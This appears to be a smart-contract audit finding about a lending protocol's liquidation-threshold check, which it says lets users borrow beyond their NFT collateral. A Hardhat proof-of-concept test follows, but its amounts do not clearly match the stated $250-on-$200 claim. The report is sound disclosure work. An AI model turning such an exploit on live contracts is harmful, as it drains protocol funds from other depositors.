The incorrect formula for liquidation threshold check while borrowing enables user to borrow much more than their collateral value.
The check here is incorrect and this will cause user to borrow much more then the value of their collateral.
Here is a POC to show how a user can borrow 250 $ by just providing the collateral of value 200$.
it("should allow user to borrow more with multiple NFTs as collateral", async function () {
await raacHousePrices.setHousePrice(2, ethers.parseEther("100"));
const tokenId2 = 2;
const amountToPay = ethers.parseEther("100");
await token.mint(user1.address, amountToPay);
await token.connect(user1).approve(raacNFT.target, amountToPay);
await raacNFT.connect(user1).mint(tokenId2, amountToPay);
expect(await raacNFT.ownerOf(2)).to.equal(user1.address);
await raacHousePrices.setHousePrice(tokenId2, ethers.parseEther("100"));
await raacNFT.connect(user1).approve(lendingPool.target, tokenId2);
await lendingPool.connect(user1).depositNFT(tokenId2);
const userCollateralValue = await lendingPool.getUserCollateralValue(user1.address);
console.log({ userCollateralValue });
const borrowAmount = ethers.parseEther("150");
await lendingPool.updateState();
const userDebt = await lendingPool.getUserDebt(user1.address);
console.log({ userDebt });
const liquidationThreshold = await lendingPool.liquidationThreshold();
console.log({ liquidationThreshold });
await lendingPool.connect(user1).borrow(borrowAmount);
const normalizedDebt = await lendingPool.getNormalizedDebt();
console.log({ normalizedDebt });
const crvUSDBalance = await crvusd.balanceOf(user1.address);
expect(crvUSDBalance).to.equal(ethers.parseEther("1150"));
const debtBalance = await debtToken.balanceOf(user1.address);
expect(debtBalance).to.gte(borrowAmount);
const excessBorrowAmount = ethers.parseEther("100");
await lendingPool.updateState();
const userDebtAfterBorrow = await lendingPool.getUserDebt(user1.address);
console.log({ userDebtAfterBorrow });
await expect(lendingPool.connect(user1).borrow(excessBorrowAmount)).to.be.revertedWithCustomError(
lendingPool,
"NotEnoughCollateralToBorrow"
);
expect(await raacNFT.ownerOf(1)).to.equal(lendingPool.target);
expect(await raacNFT.ownerOf(2)).to.equal(lendingPool.target);
});
High, user can borrow more than collateral value draining the protocol.